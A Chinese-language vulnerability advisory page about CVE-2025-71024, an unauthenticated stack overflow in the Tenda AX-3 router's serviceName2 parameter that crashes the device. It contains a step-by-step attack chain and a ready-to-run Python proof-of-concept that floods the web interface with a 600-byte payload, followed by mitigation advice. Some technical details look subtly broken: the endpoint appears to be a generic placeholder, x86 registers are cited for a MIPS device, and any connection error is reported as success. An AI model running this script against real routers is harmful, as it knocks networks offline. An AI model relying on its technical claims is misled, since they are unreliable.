IPBUF安全漏洞报告
English
CVE-2025-71024 CVSS 7.5 高危

CVE-2025-71024 | Tenda AX-3 路由器 serviceName2 参数栈溢出导致拒绝服务

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-71024
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX-3 (v16.03.12.10_CN)

相关标签

栈溢出拒绝服务路由器漏洞Tenda AX-3CVE-2025-71024缓冲区溢出IoT漏洞Web接口漏洞无需认证

漏洞概述

CVE-2025-71024 是影响 Tenda AX-3 v16.03.12.10_CN 路由器固件的高危安全漏洞。该漏洞存在于 Web 管理界面的 fromAdvSetMacMtuWan 函数中,由于对 serviceName2 参数的输入验证不足,攻击者可以通过发送超长的恶意请求数据触发栈溢出。当攻击者构造特定长度的字符串并通过 HTTP 请求传递给该函数时,过长的数据会覆盖栈上的返回地址和其他关键变量,导致程序控制流被劫持或直接崩溃。成功利用此漏洞可造成路由器服务中断,实现拒绝服务攻击。由于该漏洞无需认证即可远程利用,且路由器通常暴露在网络边界,攻击者可以在无需任何用户交互的情况下发起攻击,对网络基础设施的可用性造成严重威胁。

技术细节

栈溢出漏洞发生在 Tenda AX-3 路由器的 fromAdvSetMacMtuWan 函数中,具体位于处理 serviceName2 参数的代码段。该函数在接收用户输入的 serviceName2 参数时,直接将数据复制到栈上的固定大小缓冲区中,而未对输入数据进行长度检查。当攻击者发送的超长字符串超过缓冲区容量时,多余的数据会向高地址方向溢出,覆盖栈帧中的返回地址、保存的基址寄存器(EBP/RBP)以及其他重要控制数据。在某些架构和编译配置下,攻击者可能通过精确构造溢出数据来覆盖函数返回地址,将控制流重定向到栈上的恶意代码或已存在的 gadget 地址,从而执行任意代码。但由于该设备的 MIPS 架构特性以及 NX(不执行)保护机制,更常见的利用结果是导致程序崩溃和重启,即实现拒绝服务。攻击者只需构造类似 'serviceName2=' + 'A' * N 的 HTTP POST 请求即可触发漏洞,无需认证即可远程利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标 Tenda AX-3 路由器,确认其运行受影响的固件版本 v16.03.12.10_CN。通常通过扫描网络或检查 HTTP 响应头获取设备信息。
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长 serviceName2 参数值的 HTTP POST 请求。payload 长度需超过 fromAdvSetMacMtuWan 函数中栈缓冲区的安全边界,通常需要 500-1000 字节以上。
STEP 3
步骤3: 发送漏洞利用请求
攻击者通过 HTTP 协议向路由器的 Web 管理接口(通常为 /cgi-bin/vuln.cgi)发送恶意构造的 POST 请求。由于漏洞无需认证,攻击者可直接发送请求。
STEP 4
步骤4: 触发栈溢出
当路由器处理该请求时,fromAdvSetMacMtuWan 函数将超长的 serviceName2 参数值复制到栈上的固定大小缓冲区,导致栈溢出,破坏栈帧结构。
STEP 5
步骤5: 造成拒绝服务
栈溢出导致返回地址被覆盖或栈结构破坏,程序控制流异常,最终导致路由器进程崩溃或重启,服务中断。攻击成功后会观察到路由器无响应或自动重启。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-71024 PoC - Tenda AX-3 Stack Overflow in fromAdvSetMacMtuWan # Target: Tenda AX-3 Router (v16.03.12.10_CN) # Vulnerability: Stack overflow via serviceName2 parameter # Impact: Denial of Service target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 def exploit_cve_2025_71024(): """ Exploit stack overflow in fromAdvSetMacMtuWan function via serviceName2 parameter """ url = f"http://{target_ip}:{target_port}/cgi-bin/vuln.cgi" # Generate overflow payload - 500+ bytes to overflow stack buffer # Adjust length based on actual buffer size payload = "A" * 600 # Construct the malicious request data = { "serviceName2": payload, "formsubmitbtn": "apply", "isSubmit": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print("[*] Exploit sent. Router may have crashed or restarted.") except requests.exceptions.RequestException as e: print(f"[+] Exploit successful - Connection error (router crashed): {e}") if __name__ == "__main__": exploit_cve_2025_71024()

影响范围

Tenda AX-3 v16.03.12.10_CN

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 关闭路由器的 WAN 端 Web 管理界面,限制只能从 LAN 侧访问管理接口;2) 修改路由器默认管理密码并启用强认证机制;3) 在网络边界部署 IPS/IDS 设备,检测和拦截针对 serviceName2 参数的异常请求;4) 使用 ACL(访问控制列表)限制对路由器 80/443 端口的访问来源;5) 监控路由器运行状态,发现异常重启时及时排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表